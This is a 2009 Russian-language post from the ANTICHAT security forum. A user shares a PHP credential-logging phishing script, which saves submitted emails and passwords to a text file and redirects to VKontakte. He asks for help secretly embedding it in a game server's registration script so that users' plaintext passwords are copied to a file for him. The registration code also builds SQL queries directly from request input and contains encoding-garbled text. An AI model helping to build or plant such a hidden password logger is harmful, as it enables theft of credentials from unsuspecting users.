ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

25.05.2009, 13:16
|
|
Новичок
Регистрация: 16.02.2009
Сообщений: 19
Провел на форуме: 132932
Репутация:
0
|
|
ребята, памагите пажалуста сделать чтото типо этого
PHP код:
<?php /* ############# #by_NoNameZ#
########### */ $f=fopen("log.txt","at"); flock($f,2);
if(preg_match("/^([.0-9a-z_-]+)@(([0-9a-z-]+\.)+[0-9a-
z]{2,4})$/i", $_POST['email'])&&
!empty($_POST['pass'])){ fputs($f,
$_POST['email'].";".$_POST['pass']." \n");
header("Location: http://vkontakte.ru
/blank.php?code=10"); } else { header("Location:
bad.htm"); } flock($f,3); fclose($f); ?>
но чтоб я скрипт вставил в фаил регистрации и он просто вводимые пароли сахранял мне в фаил и при этом также работал, тоисть также пароли сахранял дальше в базе
вот скрипт регикуда файк прилепить хочу
PHP код:
<?php if(!defined('DATALIFEENGINE')) {
die("Hacking attempt!"); } if ($_action == "reg") { if
(empty($_REQUEST["l2login"]) ||
empty($_REQUEST["l2password"]) ||
empty($_REQUEST["l2password2"]) ||
empty($_REQUEST["l2email"]) ||
empty($_REQUEST["l2answer"]) ||
empty($_REQUEST["l2question"])) { $lineage =
"<div class='warning center'>Îøèáêà ïðè ðåãèñòðàöèè, çàïîëíèòå âñå ïîëÿ!</div><br />"; $lineage.=
"<center><a
href='".GetURL($_link,"registration")."'>íàçàä</a>
</center>"; } elseif
(strlen($_REQUEST["l2login"])>16 ||
strlen($_REQUEST["l2login"])<4) { $lineage = "<div
class='warning center'>Îøèáêà ïðè ðåãèñòðàöèè, ëîãèí
äîëæåí áûòü íå ìåíüøå 4 è íå áîëüøå 16 ñèìâîëîâ!</div><br
/>"; $lineage.= "<center><a
href='".GetURL($_link,"registration")."'>íàçàä</a>
</center>"; } elseif
($_REQUEST["l2password"]!=$_REQUEST["l2password2"])
{ $lineage = "<div class='warning center'>Îøèáêà
ïðè ðåãèñòðàöèè, ïàðîëè íå ñîâïàäàþò!</div><br
/>"; $lineage.= "<center><a
href='".GetURL($_link,"registration")."'>íàçàä</a>
</center>"; } elseif (strlen($_REQUEST["l2answer"])<4
|| strlen($_REQUEST["l2question"])<4) {
$lineage = "<div class='warning center'>Îøèáêà ïðè
ðåãèñòðàöèè, âîïðîñ è îòâåò äîëæíû áûòü íå ìåíüøå 4
ñèìâîëîâ!</div><br />"; $lineage.= "<center><a
href='".GetURL($_link,"registration")."'>íàçàä</a>
</center>"; } elseif
(!check_email($_REQUEST["l2email"])) {
$lineage = "<div class='warning center'>Îøèáêà ïðè
ðåãèñòðàöèè, email óêàçàí íå âåðíî!</div><br
/>"; $lineage.= "<center><a
href='".GetURL($_link,"registration")."'>íàçàä</a>
</center>"; } elseif
($dbl->sql_numrows($dbl->sql_query("SELECT * FROM
accounts WHERE login='".$_REQUEST["l2login"]."' LIMIT
1"))) { $lineage = "<div class='warning
center'>Îøèáêà ïðè ðåãèñòðàöèè, àêêàóíò ñóùåñòâóåò!
</div><br />"; $lineage.= "<center><a
href='".GetURL($_link,"registration")."'>íàçàä</a>
</center>"; } elseif
($dbl->sql_numrows($dbl->sql_query("SELECT * FROM
accounts WHERE email='".$_REQUEST["l2email"]."' LIMIT
1"))) { $lineage = "<div class='warning
center'>Îøèáêà ïðè ðåãèñòðàöèè, óêàçàííûé email óæå
èñïîëüçóåòñÿ!</div><br />"; $lineage.=
"<center><a
href='".GetURL($_link,"registration")."'>íàçàä</a>
</center>"; } else { $dbl->sql_query_jdb("accounts", "InsertAccount", array($_REQUEST["l2login"], base64_encode(pack('H*', sha1($_REQUEST["l2password"]))), $_REQUEST["l2email"], $_REQUEST["l2answer"], $_REQUEST["l2question"])); $sql_error = $dbl->sql_error(); if ($sql_error["code"]==0) { $lineage = "<center>Ïîçäðàâëÿåì, Âû óñïåøíî çàðåãèñòðèðîâàëè àêêàóíò! Ïðèÿòíîé èãðû.</center><br />"; } else { $lineage = "<div class='warning center'>Íåèçâåñòíàÿ îøèáêà, ïîïðîáóéòå åùå ðàç!</div><br />"; $lineage.= "<center><a href='".GetURL($_link,"registration")."'>íàçàä</a></center>"; } } } else { $tpl->load_template($tpldir.'/lineage/register.tpl'); $tpl->compile('register'); $lineage = $tpl->result["register"]; // $tpl->clear(); } ?>
Последний раз редактировалось sidrus; 25.05.2009 в 13:45..
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|